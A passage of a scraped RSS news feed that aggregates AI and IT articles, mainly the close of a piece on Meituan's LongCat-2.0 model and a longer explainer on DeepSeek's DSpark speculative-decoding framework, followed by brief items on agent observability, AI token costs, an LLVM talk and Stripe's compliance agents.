OpenClaw environments.</p><h2><b>Technology: Engineering the 1M-Token Sparse Context</b></h2><p>At the core of LongCat-2.0 lies an aggressive optimization of Mixture-of-Experts (MoE) sparsity, scaling total parameters to 1.6 trillion while limiting active computation to an average of 48 billion parameters per token.</p><p>Depending on the structural complexity of a query, the model’s dynamic activation ranges from 33 billion to 56 billion parameters. This design implements a "Zero-Compute Experts" framework, ensuring that routine execution elements pass through lighter subnetworks, entirely eliminating the idle computational overhead that typically penalizes ultra-dense models.</p><p>To sustain a functional 1-million-token context window without incurring catastrophic hardware bottlenecks, Meituan introduced LongCat Sparse Attention (LSA). Designed as an evolutionary iteration of DeepSeek Sparse Attention, LSA resolves the quadratic scoring costs and memory fragmentation that typically plague fine-grained sparse mechanisms through three distinct, orthogonal vectors:</p><ul><li><p><b>Streaming-aware Indexing (SI):</b> This system restructures the token selection pipeline by blending hardware-aligned contiguous data reads with dynamic random selection. By converting fragmented memory access into highly predictable, sequential blocks, the system achieves coalesced High Bandwidth Memory (HBM) utilization and elevated effective bandwidth.</p></li><li><p><b>Cross-Layer Indexing (CLI):</b> Leveraging the empirical reality that attention saliency remains highly stable across adjacent hidden layers, CLI amortizes calculation costs. A single indexing pass successfully guides multiple consecutive layers during inference, a capability reinforced by cross-layer distillation throughout the training phase.</p></li><li><p><b>Hierarchical Indexing (HI):</b> This approach applies a coarse-to-fine, two-stage scoring layout. The indexer performs a rapid, approximate block-level recall to filter candidates, before running fine-grained token selection exclusively on the remaining population.</p></li></ul><p>Furthermore, Meituan integrated an N-gram Embedding module inherited from its lighter model lines. By expanding parameter allocation in sparse dimensions completely orthogonal to the MoE expert layout, the architecture appends 135 billion parameters to a 5-gram token combination framework. </p><p>This expands the core embedding space by roughly 100-fold, allowing the model to capture dense local token relationships and accelerate large-batch inference operations by reducing memory Input/Output (I/O) bottlenecks.</p><h2><b>Product: Post-Training, MOPD Framework and Benchmark Performance</b></h2><p>While generalist large language models prioritize fluid, conversational interfaces, LongCat-2.0 focuses explicitly on multi-step engineering tasks, tool integration, and automated repository manipulation — agentic tasks, in other words. </p><p>In standardized assessments, LongCat-2.0 registers an empirical 59.5 on SWE-bench Pro, surpassing GPT-5.5's benchmark of 58.6. The model further establishes its agentic specialization by marking a 70.8 on Terminal-Bench 2.1, a 77.3 on SWE-bench Multilingual, and a 73.2 on the general corporate workflow simulator FORTE.</p><p>This precise operational behavior is achieved through a structural post-training layer called Multi-Teacher Optimization via Mixture of Specialized Experts (MOPD). Rather than blending raw human feedback into a singular reward function, the MOPD architecture segregates post-training optimization into three independent, highly focused expert clusters.</p><ul><li><p>The <b>Agent Experts</b> are fine-tuned strictly for structural execution, specializing in precise tool invocation, multi-turn API parameter parsing, and self-correcting loop mechanisms to avoid execution stagnation.</p></li><li><p>The <b>Reasoning Experts</b> are optimized in isolation to advance multi-hop logic, complex chain-of-thought engineering, mathematics, and high-level STEM problem-solving.</p></li><li><p>The <b>Interaction Experts</b> focus entirely on human alignment, instruction-following nuances, factual grounding to suppress hallucinations, and maintaining rigid safety guardrails without diminishing the model's overall utility.</p></li></ul><p>By segregating these vectors during post-training, LongCat-2.0 prevents functional degradation. A dynamic gate-routing mechanism then seamlessly fuses these specialized behaviors at runtime, allowing the final model to coordinate deep reasoning, stable tool execution, and safe user interaction simultaneously</p><p>While LongCat-2.0 generally trails premium frontier systems like Claude Opus 4.8 across broad general-agent benchmarks such as FORTE and BrowseComp, it explicitly punches above its weight in software engineering. </p><p>What makes this open-weight architecture special is its hyper-focus on autonomous development; it manages to narrowly exceed OpenAI's proprietary GPT-5.5 on the rigorous software engineering benchmark SWE-bench Pro (scoring 59.5 against 58.6), proving it is highly capable and fiercely competitive for complex coding tasks despite a leaner computational footprint.</p><h2><b>Commercial Framework: Pay-As-You-Go vs. Flash-Sale Token Packs</b></h2><p>Meituan's deployment strategy introduces a specialized commercial model that splits network access between conventional real-time API billing and structured "Token Packs". </p><p>For traditional enterprise integration, standard top-up accounts are available, deducting operational capital in real time based directly on token input and generation metrics.</p><p>However, to accommodate the unpredictable compute bursts characteristic of autonomous development agents, Meituan launched a structured Token Pack framework. Purchased as fixed, one-time volumetric allocations valid for a strict 30-day window, these packages stack directly on top of an organization's existing baseline API account. </p><p>To manage network load across its ASIC clusters, Meituan releases these high-volume packages via limited flash sales four times daily, precisely at 10:00, 16:00, 21:00, and 23:00 Beijing Time on a first-come, first-served basis.The economic standout of this framework is the zero-charge processing of context cache hits. </p><p>In massive agentic environments where a coding assistant must repeatedly read, reference, and modify the same multi-million-token code repository over an extended session, standard architectures penalize developers by charging full pricing for repeated input context. </p><p>Under Meituan's infrastructure, only cache-miss inputs and final token generations consume the package quota. This architecture completely alters the operational cost economics of large-scale agent software development, enabling deep iterative context exploration without compounding costs.</p><h2><b>Licensing: Open-Source Structural Freedom</b></h2><p>By registering the LongCat-2.0 repository under the open-source MIT License, Meituan positions the architecture with maximum legal flexibility for enterprise integration. </p><p>In contrast to copyleft paradigms like the GNU General Public License (GPL)—which legally obligates developers to open-source any derivative frameworks or internal software that links to the code—the MIT license permits near-unrestricted freedom.</p><p>For corporate engineering teams, this legal standard ensures that LongCat-2.0 can be deeply modified, compiled, and hard-coded directly into closed-source commercial applications, proprietary dev tools, and internal automation backends. </p><p>Corporations can fork the repository, optimize the internal LSA mechanisms for private databases, and sell the resulting software stack to end users without any obligation to disclose their proprietary intellectual property or structural enhancements.</p><h2><b>Meituan's Evolution: From Delivery Super App to AI Powerhouse</b></h2><p>Founded in March 2010 by serial entrepreneur <a href="https://www.howtheybegan.com/founders/wang-xing">Wang Xing</a>, Meituan initially launched as a Groupon-style daily deals website before rapidly evolving into one of China’s dominant “super apps”. </p><p>Following a massive 2015 merger with Dianping, the Beijing-based tech giant solidified a dominant market share over the country's urban delivery corridors, bridging local consumer reviews, instant retail, hotel bookings, and food delivery. Operating as a publicly traded powerhouse on the Hong Kong Stock Exchange, Meituan claims over 770 million annual transacting users and supports a network of more than 14.5 million merchants. </p><p>However, faced with intense domestic market competition, severe margin compression, and a sliding profit margin, the company aggressively pivoted its strategy beyond logistics. Meituan publicly committed to investing "billions" into artificial intelligence and domestic chip capabilities to revitalize its technology-driven offerings. </p><p>This strategic shift into the global AI race began materializing in late 2025 with the release of LongCat-Flash, a 560-billion-parameter Mixture-of-Experts foundation model, followed quickly by the advanced reasoning model LongCat-Flash-Thinking. By open-sourcing these frontier-class models under enterprise-friendly licenses, Meituan signaled its ambition to become a foundational player in global AI infrastructure rather than remaining strictly a regional e-commerce and delivery giant. </p><h2><b>Enterprise Implications: Autonomous Operational Workflows</b></h2><p>For modern enterprises, the release of LongCat-2.0 unlocks clear operational strategies across software engineering, system operations, and long-form data interpretation. </p><p>The combination of an open-weight, MIT-licensed model with an expansive 1-million-token context window means organizations can bypass the data privacy concerns and recurring overhead associated with hosting proprietary third-party APIs.In large-scale enterprise development environments, teams can leverage the model's specialized Agent Experts to orchestrate autonomous codebase migrations. </p><p>Instead of dedicating hundreds of developer hours to manually rewriting legacy application frameworks, engineers can pass an entire enterprise repository along with modern SDK documentation directly into the 1-million-token context window. LongCat-2.0 can map the dependencies, execute the repository-level structural updates, compile the new codebase, and catch compilation and execution bugs autonomously within local sandbox environments before generating a final pull request.</p><p>The model's architectural separation via the MOPD gate-routing mechanism yields significant advantages for strict enterprise compliance. By routing specific operational queries through isolated expert clusters, a financial institution or healthcare firm can deploy deep logic and mathematical reasoning passes without risking factual hallucination or violating strict safety bounds. </p><p>The Interaction Experts function as an implicit guardrail layer, suppressing errors and enforcing instruction-following protocols without degrading the raw processing power of the internal Reasoning Experts. Combined with the zero-cost caching model, enterprises can maintain hyper-focused autonomous software networks that can repeatedly inspect corporate data pools, continuously maintaining and optimizing internal infrastructure at a fraction of standard operational costs.</p>]]></content:encoded>
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<item>
<title><![CDATA[DeepSeek open sources DSpark, a new framework to speed up LLM inference by up to 85%]]></title>
<description><![CDATA[Even as the geopolitical conversation around AI continues to grow more fraught following the U.S. government's actions to limit the new models from Anthropic and OpenAI, Chinese open source darling DeepSeek is back with yet another open release that could once again change AI development around t...]]></description>
<link>https://tsecurity.de/de/3634171/it-nachrichten/deepseek-open-sources-dspark-a-new-framework-to-speed-up-llm-inference-by-up-to-85/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634171/it-nachrichten/deepseek-open-sources-dspark-a-new-framework-to-speed-up-llm-inference-by-up-to-85/</guid>
<pubDate>Tue, 30 Jun 2026 00:17:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Even as the geopolitical conversation around AI continues to grow more fraught following the<a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do"> U.S. government's actions to limit the new models from Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, Chinese open source darling DeepSeek is back with yet another open release that could once again change AI development around the globe. </p><p>Over the weekend, the firm released <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro-DSpark">DSpark</a>, a new, MIT-Licensed system designed to make large language models answer faster without changing what the underlying model is trying to say. </p><p>The easiest way to think about it is this: most AI chatbots write like someone crossing a river one stepping stone at a time. They choose one small chunk of text, then the next, then the next. </p><p>DSpark gives the system a scout that runs a few steps ahead, guesses the likely path, and lets the larger model quickly check which steps are safe. When the guesses are good, the model moves faster. When the guesses are weak, DSpark tries not to waste time checking them.</p><p>DeepSeek published the work with a <a href="https://github.com/deepseek-ai/DeepSpec/blob/main/DSpark_paper.pdf">technical paper</a>, model checkpoints and <a href="https://github.com/deepseek-ai/DeepSpec">DeepSpec</a>, a codebase for training and evaluating speculative decoding systems. The release is available through DeepSeek’s public <a href="https://github.com/deepseek-ai">GitHub</a> and <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro-DSpark">Hugging Face </a>pages, both under the permissive, friendly, commonplace MIT license, making the new technique broadly usable by developers, researchers and commercial enterprise operations that want to study or adapt the approach.</p><p>The system is aimed at one of the most expensive problems in AI deployment: serving large models quickly enough for real users, while using hardware efficiently enough to make the economics work. That matters for consumer chatbots, coding assistants, agentic workflows and enterprise AI systems where users expect long answers to stream quickly rather than crawl out word by word.</p><p>DeepSeek is applying DSpark to its own latest frontier open model,<a href="https://venturebeat.com/technology/deepseek-v4-arrives-with-near-state-of-the-art-intelligence-at-1-6th-the-cost-of-opus-4-7-gpt-5-5"> DeepSeek-V4</a>. </p><p>Specifically, DeepSeek used its new DSpark framework on DeepSeek-V4-Flash, its already speed-optimized 284-billion-parameter mixture-of-experts model with 13 billion active parameters, and DeepSeek-V4-Pro, its more thoughtful and powerful 1.6-trillion-parameter model with 49 billion active parameters (Both support context windows up to one million tokens). </p><p>But the broader significance is that<i> DSpark is not conceptually limited to DeepSeek-V4.</i> DeepSeek’s own tests and released checkpoints cover other open model families, including Alibaba's open weights <i>Qwen</i> and Google's open weights <i>Gemma. </i></p><p>That means enterprise teams running open-weight models could, in principle, train or fine-tune DSpark-style draft modules for their own target models. It is not a switch that any API customer can flip from the outside, but it is a method that can travel to other models when the operator controls the weights and serving stack.</p><h2><b>Staggering speed increases for generating tokens during inference</b></h2><p>In DeepSeek’s live production tests, DSpark improved aggregate throughput by 51% for DeepSeek-V4-Flash at an 80-token-per-second-per-user service target, and by 52% for DeepSeek-V4-Pro at a 35-token-per-second-per-user target. At matched system capacity, DeepSeek reports per-user generation speedups of 60% to 85% for V4-Flash and 57% to 78% for V4-Pro over its prior MTP-1 production baseline.</p><p>The different speed claims measure different things. The 60% to 85% figure for V4-Flash, and the 57% to 78% figure for V4-Pro, describe how much faster individual users receive generated tokens when DeepSeek compares DSpark with MTP-1 at matched practical system capacity. </p><p>Those are the cleaner “generation speed” numbers. DeepSeek also reports much larger 661% and 406% increases, but these measure aggregate throughput under very strict speed targets: 120 tokens per second per user for V4-Flash and 50 tokens per second per user for V4-Pro. </p><p>At those targets, DeepSeek says its older MTP-1 baseline approaches an operational cliff, meaning it can keep only a small number of concurrent requests running while preserving that level of responsiveness. </p><p>DSpark avoids more of that collapse, so the percentage difference in total system output becomes much larger. Put simply: the 85% number is closer to “how much faster the ride feels for a user” under comparable conditions, while the 661% and 406% figures are closer to “how much more traffic the road can still carry” when the old system is already bottlenecking. </p><h2><b>Why speculative decoding matters</b></h2><p>LLMs usually generate text one token at a time. A token can be a word, part of a word, punctuation mark or other small piece of text. Every new token depends on the text already produced, so the model has to keep pausing, checking the full context and choosing the next piece.</p><p>That is accurate, but slow. It is like having a senior editor approve every word before a writer can move to the next one. The editor may be excellent, but the process creates a bottleneck.</p><p>Speculative decoding, developed in the early Transfomer era, tries to fix that bottleneck. Instead of asking the large model to produce every token one by one, the system uses a smaller or lighter draft component to suggest several likely next tokens. The large model then checks that batch of guesses in parallel. If the draft guessed correctly, the system moves ahead several tokens at once. If the draft made a bad guess, the system rejects the bad token and anything after it, adds a corrected token, and tries again.</p><p>The point is speed without changing the larger model’s intended output. In the standard speculative decoding setup, the draft model is not replacing the target model. It is acting more like an assistant who prepares a rough next sentence for the senior editor to approve or reject.</p><p>The idea did not appear out of nowhere with today’s large language models. A <a href="https://arxiv.org/abs/1811.03115">key precursor came in 2018</a>, when Mitchell Stern, Noam Shazeer and Jakob Uszkoreit proposed blockwise parallel decoding for deep autoregressive models. Their method predicted multiple future steps in parallel, then kept the longest prefix validated by the main model. That paper established much of the draft-and-check intuition behind later speculative decoding work.</p><p>The research line became more explicit in 2022. <a href="https://arxiv.org/abs/2203.16487">Heming Xia, Tao Ge and co-authors introduced SpecDec</a>, a draft-and-verify approach for sequence-to-sequence generation. Later that year, Yaniv Leviathan, Matan Kalman and Yossi Matias posted “<a href="https://arxiv.org/abs/2211.17192">Fast Inference from Transformers via Speculative Decoding</a>,” which helped define the modern version of the technique for transformer-based language models. DeepMind researchers followed in 2023 with a closely related method called <a href="https://arxiv.org/abs/2302.01318">speculative sampling.</a></p><p>Those 2022 and 2023 papers are the clearest ancestors of how speculative decoding is discussed in current LLM inference work: a faster draft process proposes tokens, and the larger target model verifies them in a way designed to preserve the target model’s output distribution. </p><p>Since then, the field has moved quickly through several variants, including separate draft models, multi-token prediction heads, tree-based verification, feature-level methods such as <a href="https://arxiv.org/abs/2401.15077">EAGLE</a>, self-speculation, Medusa-style extra heads and parallel/blockwise drafters such as DFlash.</p><p>The key metric is not how many tokens a draft model can guess. It is how many of those guesses the larger model actually accepts. Long speculative blocks help only if enough of the proposed tokens survive verification. Otherwise, the system spends compute checking guesses that it throws away.</p><p>That is the context for DSpark. Speculative decoding is already an established inference technique before DeepSeek’s release, with support in major serving stacks and multiple competing research approaches. But it is still not a solved problem. Speedups depend heavily on the draft model, the workload, the serving setup and the current traffic level. DSpark’s contribution is to improve both sides of the trade-off: it tries to draft more coherent token blocks and then verify only the parts of those blocks that are likely to pay off under real serving conditions.</p><h2><b>What DSpark changes</b></h2><p>DSpark tackles two related problems: bad guesses and wasted checking.</p><p>First, the system uses what DeepSeek calls semi-autoregressive generation. In plain English, that means DSpark tries to combine speed with a bit more awareness of sequence. </p><p>A fully parallel drafter can guess several tokens at once, which is fast, but its later guesses can become less coherent because each position is predicted too independently. A purely step-by-step drafter can keep better track of how one token leads to the next, but it loses much of the speed advantage.</p><p>DSpark tries to keep the best of both. It uses a parallel backbone for most of the drafting work, then adds a lightweight sequential head that lets the draft take nearby token relationships into account. In the paper’s example, a parallel drafter might confuse likely phrase endings such as “of course” and “no problem,” producing awkward combinations because it is guessing positions too separately. DSpark’s sequential component helps the system make the later tokens fit the earlier ones.</p><p>Second, DSpark adds confidence-scheduled verification. Rather than always asking the target model to check the same number of draft tokens, DSpark estimates which prefix of the draft is likely to survive. A hardware-aware scheduler then adjusts how much of each draft should be verified based on both model confidence and current serving load.</p><p>A simple analogy: when a restaurant is quiet, the head chef can inspect more of the prep cook’s work. When the kitchen is slammed, the chef spends attention only on the dishes most likely to be ready. DSpark applies a similar idea to AI serving. Under lighter traffic, the system can afford to check longer draft prefixes. Under heavier traffic, it trims low-confidence trailing guesses before they consume batch capacity that could be used for other users.</p><p>DeepSeek frames this as an answer to a common production trade-off. Static multi-token drafting can look attractive in isolation, but can hurt throughput under high concurrency because the system keeps checking tokens that are likely to be rejected. DSpark’s scheduler makes the verification budget flexible instead of fixed.</p><h2><b>Offline results: better draft acceptance across Qwen and Gemma</b></h2><p>DeepSeek tested DSpark offline on Qwen3-4B, Qwen3-8B, Qwen3-14B and Gemma4-12B target models across math, coding and chat benchmarks. </p><p>In those tests, the team compared DSpark with DFlash, a parallel drafter, and Eagle3, an autoregressive drafter. The paper reports accepted length per decoding round, a measure of how many tokens survive verification on average.</p><p>Across the three Qwen3 model sizes, DSpark improved macro-average accepted length over Eagle3 by 30.9%, 26.7% and 30.0%, respectively. Compared with DFlash, it improved accepted length by 16.3%, 18.4% and 18.3%. The paper also says the gains generalized to Gemma4-12B.</p><p>That supports a point raised by developer Daniel Han, who highlighted on X that DeepSeek showed DSpark working beyond DeepSeek’s own V4 models, including Gemma and Qwen. I would include Han as community reaction, not as the sole evidence for the claim. The stronger support comes from DeepSeek’s own benchmarks and released checkpoints.</p><p>The offline results also show why workload matters. Structured tasks such as math and code tend to have higher accepted lengths than open-ended chat. That makes intuitive sense: a code completion or math step often has fewer reasonable next moves than a free-form conversation. </p><p><b>For enterprises, </b>this means<b> DSpark-style methods may be especially attractive for coding assistants, data analysis agents, structured workflow automation</b> and other settings where outputs follow more predictable patterns.</p><h2><b>How enterprises could use DSpark without DeepSeek-V4</b></h2><p>One of the most important questions is whether DSpark is a DeepSeek-only optimization or a broader method that can be applied to other models. The answer is: broader method, but not automatic plug-in.</p><p>For open-weight models, the path is relatively clear. An enterprise running Qwen, Gemma, Llama, Mistral, Granite, Command-style open weights or another model it hosts itself could train or fine-tune a DSpark-style draft module against that target model. </p><p>The team would then measure acceptance on its own workloads and integrate the verification scheduler into its inference stack.</p><p>That is different from simply downloading DeepSeek’s DSpark module and attaching it to any model. Speculative decoding depends on alignment between the draft module and the target model. The draft has to learn what the target model is likely to accept. A drafter trained for DeepSeek-V4 will not automatically be the right drafter for a different model, especially one fine-tuned on a company’s internal data or configured for different reasoning behavior.</p><p>DeepSpec’s workflow reflects this. The process involves preparing data, regenerating target-model answers, building a target cache, training the draft model and evaluating speculative-decoding acceptance. For domain-specific use, the draft model may need additional fine-tuning, especially if the target model runs in a thinking or reasoning mode.</p><p>For proprietary models, the answer depends on what the enterprise controls. If a company owns or fully hosts the model weights and serving stack, it could theoretically train and deploy a DSpark-style drafter. If the model is available only through a hosted API from a vendor, the customer cannot directly add DSpark from the outside. The API provider could implement a similar optimization internally, but the customer generally cannot access the token verification loop, logits, batching behavior or serving scheduler needed to make DSpark work.</p><p>That distinction matters for enterprise buyers. DSpark strengthens the case for open or self-hosted AI infrastructure because it gives advanced teams another lever to improve speed and cost. But it also shows why model serving is becoming a specialized discipline. The value is not just in picking a model, but in how intelligently that model is run.</p><h2><b>What developers get from DeepSpec</b></h2><p>For developers, DeepSpec gives a concrete implementation path for training and evaluating speculative decoding draft models. It includes data preparation, training and benchmark evaluation steps, along with released checkpoints for several open model families. That makes the release useful not only for running DeepSeek-V4 with DSpark, but also for researchers and infrastructure teams studying how to add faster decoding to other open models.</p><p>There are real deployment caveats. DeepSpec’s own README says the default Qwen3-4B data preparation setup can require roughly 38 TB of target cache storage, and the default scripts assume a single node with eight GPUs. That makes the release more immediately relevant to AI labs, cloud teams and sophisticated enterprise AI infrastructure groups than to ordinary application developers.</p><p>Still, releasing the training pipeline matters. Many inference optimizations appear only as papers, vague benchmarks or closed production claims. DeepSpec gives developers something closer to a set of blueprints: not a finished enterprise product, but a way to reproduce, adapt and evaluate the method.</p><h2><b>Early community testing</b></h2><p>The release has already drawn fast developer attention. Developer <a href="https://github.com/rafaelcaricio/spark_vllm_docker/pull/1">Rafael Caricio published a GitHub pull request </a>documenting single-stream DeepSeek-V4-Flash DSpark work, reporting warmed benchmark anchors of 26.33 tokens per second without speculative decoding, 39.88 tokens per second with MTP-1, and roughly 60 tokens per second with DSpark — about 1.5x over MTP-1 and 2.3x over no-spec decoding.</p><p>A later commit in the same thread recorded a five-run mean of 60.31 tokens per second, with a 1.51x gain over MTP-1 and 2.29x over non-speculative decoding. </p><p>The same work also points to an important practical limit: in realistic multi-turn coding sessions, performance can degrade as draft acceptance falls with growing context. In other words, DSpark can make decoding faster, but acceptance quality still determines how much speed the system actually realizes.</p><p>That is a useful reality check. DSpark is not magic. It still depends on how predictable the next tokens are and how well the drafter stays aligned with the target model. But the early implementation work suggests DeepSeek’s claims are not purely academic. Developers are already testing the method in practical serving environments and reporting gains close to the paper’s single-stream expectations.</p><h2><b>The bottom line</b></h2><p>DSpark shows how much performance remains available in the inference layer, even when the underlying model architecture stays the same. As AI companies compete on model quality, context length and pricing, decoding efficiency is becoming another major battleground. </p><p>Faster generation means lower latency for users, higher throughput for providers and better economics for teams serving open models at scale.</p><p>DeepSeek’s release is notable because it combines a production-tested method, open code, public checkpoints and a detailed paper. The main innovation is not just drafting more tokens. It is making the system more selective about which speculative work is worth verifying.</p><p>For enterprise teams, the broader lesson is that the next wave of AI performance gains will not come only from larger models. It will also come from smarter ways to run the models companies already have — especially when those companies control enough of the stack to tune the model, train a compatible draft module and optimize the serving engine around real workloads.</p>]]></content:encoded>
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<title><![CDATA[Debugging production agents with Amazon Bedrock AgentCore Observability]]></title>
<description><![CDATA[In this post, you learn how to debug production agent failures using built-in observability capabilities. We walk through common failure patterns, show how to analyze agent behavior with traces and metrics, and provide structured workflows for resolving issues such as infinite loops and tool invo...]]></description>
<link>https://tsecurity.de/de/3633680/ai-nachrichten/debugging-production-agents-with-amazon-bedrock-agentcore-observability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633680/ai-nachrichten/debugging-production-agents-with-amazon-bedrock-agentcore-observability/</guid>
<pubDate>Mon, 29 Jun 2026 19:32:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, you learn how to debug production agent failures using built-in observability capabilities. We walk through common failure patterns, show how to analyze agent behavior with traces and metrics, and provide structured workflows for resolving issues such as infinite loops and tool invocation failures. This is Part 1 of a two-part series. Part 2 covers performance optimization and memory management.]]></content:encoded>
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<title><![CDATA[Minecraft-Störung: Anmelde- und Serverprobleme - teltarif.de News]]></title>
<description><![CDATA[... Serverdienste oder externe Multiplayer-Server betreffen. Nicht ... 21.05.24 - Windows mit Gedächtnis: Microsoft will PCs cool machen; 22.04 ...]]></description>
<link>https://tsecurity.de/de/3633348/windows-server/minecraft-stoerung-anmelde-und-serverprobleme-teltarifde-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633348/windows-server/minecraft-stoerung-anmelde-und-serverprobleme-teltarifde-news/</guid>
<pubDate>Mon, 29 Jun 2026 17:46:35 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... Serverdienste oder externe Multiplayer-<b>Server</b> betreffen. Nicht ... 21.05.24 - <b>Windows</b> mit Gedächtnis: Microsoft will PCs cool machen; 22.04 ...]]></content:encoded>
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<title><![CDATA[Developer AI Token Costs Could Exceed Their Salaries in Two Years]]></title>
<description><![CDATA["Enterprises may soon be paying as much for their developers' AI token usage as they do for their salaries," writes InfoWorld:


According to Gartner, these costs will meet, or even exceed, the typical software engineer's monthly salary within the next two years. This is not only because develope...]]></description>
<link>https://tsecurity.de/de/3630995/it-security-nachrichten/developer-ai-token-costs-could-exceed-their-salaries-in-two-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630995/it-security-nachrichten/developer-ai-token-costs-could-exceed-their-salaries-in-two-years/</guid>
<pubDate>Sun, 28 Jun 2026 14:08:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Enterprises may soon be paying as much for their developers' AI token usage as they do for their salaries," writes InfoWorld:


According to Gartner, these costs will meet, or even exceed, the typical software engineer's monthly salary within the next two years. This is not only because developers are increasingly adopting generative AI and agentic tools, it reflects a trend toward consumption-based licensing models as vendors balance infrastructure investments with profitability... 
Gartner senior principal analyst Nitish Tyagi explained that it's important to note that Gartner's prediction is based on a global average salary of $2,000 per month; it doesn't mean AI token usage will exceed all salaries. For instance, in the US, yearly pay rates can be six digits or more. However, that kind of spend is not out of the realm of possibility, Tyagi emphasized. "I have heard scary numbers like 'My developer consumed $20K last month,' or 'A business user consumed $32K'." 

If these amounts sound shocking, that's the point. "The goal is to alarm the industry about the impact of token cost if it is not governed and controlled," he said... AI coding vendors have yet to deliver "mature, built-in cost optimization capabilities," Tyagi said, and prices will likely only continue to rise as vendors further build out their models while at the same time trying to remain profitable. Thus, enterprises struggle to forecast and control costs, and, because AI is moving so fast, many organizations lack the "maturity and frameworks" to determine ROI, he noted. Agent-driven workflows are difficult to govern, context windows become bloated, budgets are wiped out earlier than anticipated, and token spend becomes hard to justify.... 

"Without a governed engineering operating model, costs can escalate faster than the productivity gains these tools are designed to deliver," Tyagi said.
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</div><p><a href="https://it.slashdot.org/story/26/06/28/0519223/developer-ai-token-costs-could-exceed-their-salaries-in-two-years?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[We Built a Routing Layer to Cut Our AI Costs. It Broke the Product.]]></title>
<description><![CDATA[A team cut their AI inference bill by more than half. Three months later, customer satisfaction was dropping and the cost savings were tied to the quality loss. Cost-optimization routing layers are a Pareto trap, and here's the detection methodology that catches them in days instead of months.
Th...]]></description>
<link>https://tsecurity.de/de/3629785/ai-nachrichten/we-built-a-routing-layer-to-cut-our-ai-costs-it-broke-the-product/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629785/ai-nachrichten/we-built-a-routing-layer-to-cut-our-ai-costs-it-broke-the-product/</guid>
<pubDate>Sat, 27 Jun 2026 17:19:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A team cut their AI inference bill by more than half. Three months later, customer satisfaction was dropping and the cost savings were tied to the quality loss. Cost-optimization routing layers are a Pareto trap, and here's the detection methodology that catches them in days instead of months.</p>
<p>The post <a href="https://towardsdatascience.com/we-built-a-routing-layer-to-cut-our-ai-costs-it-broke-the-product/">We Built a Routing Layer to Cut Our AI Costs. It Broke the Product.</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[2026 EuroLLVM - Tracking Operations Through MLIR Pass Pipelines Using Source Locations]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:2 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
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Title: Tracking Operations Through MLIR Pass Pipelines Using Source Locations
Speaker: Florian Walbroel
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Slides:  https://llvm.org/devmtg/2026-04/slides/quick_talk/quick_talk_wal...]]></description>
<link>https://tsecurity.de/de/3628271/it-security-video/2026-eurollvm-tracking-operations-through-mlir-pass-pipelines-using-source-locations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628271/it-security-video/2026-eurollvm-tracking-operations-through-mlir-pass-pipelines-using-source-locations/</guid>
<pubDate>Fri, 26 Jun 2026 20:04:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:2 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/FUwLc5o7k44?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
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Title: Tracking Operations Through MLIR Pass Pipelines Using Source Locations<br />
Speaker: Florian Walbroel<br />
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Slides:  https://llvm.org/devmtg/2026-04/slides/quick_talk/quick_talk_walbroel.pdf<br />
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This talk presents a source-location-driven approach for tracking the evolution of MLIR operations across deep pass pipelines. Motivated by real-world optimization work on quantized convolutions in IREE, it shows how preserved source locations can be used to reconstruct operation lineage across IR stages, enabling systematic reasoning about transformation effects. The talk surveys source location semantics under common MLIR transformations and demonstrates a reusable Python-based tool that supports interactive, cross-stage operation tracking for improved debuggability in large MLIR programs.<br />
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Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
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<title><![CDATA[Production-grade AI agents for financial compliance: Lessons from Stripe]]></title>
<description><![CDATA[In this post, you learn how Stripe built a production-grade AI agent system for financial compliance. We cover the technical architecture of Stripe’s ReAct agent framework and the infrastructure decisions behind a dedicated agent service. We also discuss the role of human oversight in maintaining...]]></description>
<link>https://tsecurity.de/de/3627770/ai-nachrichten/production-grade-ai-agents-for-financial-compliance-lessons-from-stripe/</link>
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<pubDate>Fri, 26 Jun 2026 16:54:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, you learn how Stripe built a production-grade AI agent system for financial compliance. We cover the technical architecture of Stripe’s ReAct agent framework and the infrastructure decisions behind a dedicated agent service. We also discuss the role of human oversight in maintaining accountability, and key lessons about task decomposition, orchestration patterns, and cost optimization through prompt caching. By the end, you will understand how to design agentic systems that scale compliance operations without compromising quality or auditability.]]></content:encoded>
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<title><![CDATA[IT Security News Hourly Summary 2026-06-26 12h : 9 posts]]></title>
